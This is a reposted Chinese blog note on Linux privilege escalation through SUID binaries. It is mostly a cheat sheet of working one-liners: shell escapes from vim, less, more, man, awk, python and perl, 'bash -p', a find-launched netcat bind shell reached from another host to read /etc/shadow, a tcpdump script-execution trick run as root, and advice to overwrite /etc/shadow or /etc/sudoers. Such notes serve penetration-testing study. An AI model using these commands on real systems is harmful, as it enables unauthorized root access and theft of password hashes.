Linux提权之SUID提权

本篇文章非原创,用作笔记方便后期查询,原创作者微信公众号“黑白之道”如有侵权,联系删除

什么是suid?

通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。

常见的可用于suid提权的命令

Vim

find

Bash

More

Less

cp


chmod


ash/linux shell



awk


mv

man

  python

 perl


tcpdump




查找suid文件
find / -perm -u=s -type f 2>/dev/null


/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

 

Vim
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

 find

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

 

touch pentestlab
find pentestlab -exec whoami \;

 

 大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。
  1. netcat 192.168.1.189 5555
  2. id
  3. cat /etc/shadow
Bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

 More

 

more /home/pelle/myfile
!/bin/bash

 

 

Less
less /etc/passwd
!/bin/sh

 cp(暂未验证)

 

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'

 

 chmod(暂未验证)

 

sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

 

 ash/linux shell

 

sudo ash

 

 awk

awk 'BEGIN {system("/bin/bash")}'

 

mv(暂时未有实例)

 

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

 

  man

 

man passwd
!/bin/bash

 

 python

 

import os
os.system("/bin/bash")

 

 perl

 

exec "/bin/bash";

 

 ruby/lua/etc也有相似

 

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

 

后续再找到再补充

 

posted @ 2020-03-19 23:38  求知鱼  阅读(2600)  评论(0编辑  收藏  举报